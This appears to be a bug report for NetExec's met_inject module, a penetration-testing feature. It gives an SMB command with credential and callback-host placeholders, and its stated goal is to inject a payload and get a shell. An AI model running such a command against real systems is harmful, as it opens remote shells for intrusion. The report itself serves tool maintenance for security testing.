Fix module met_inject

[Marshall-Hallenbeck]

Describe the bug
The module doesn't seem to be working, or at least, the example payloads I previously documented are not working correctly

To Reproduce
Steps to reproduce the behavior i.e.:
Command: netexec smb -u username -p password -M met_inject -o SRVHOST=$ip SRVPORT=$port RAND=$rand

Expected behavior
I expect the module to inject a payload and get a shell

NetExec info

• OS: Kali
• Version of nxc: main (commit fb8c4bc)
• Installed from: pipx

Goals

1. Investigate if something is broken (it appears to be right now), and if so, what
2. Document correct use-cases for users to use this module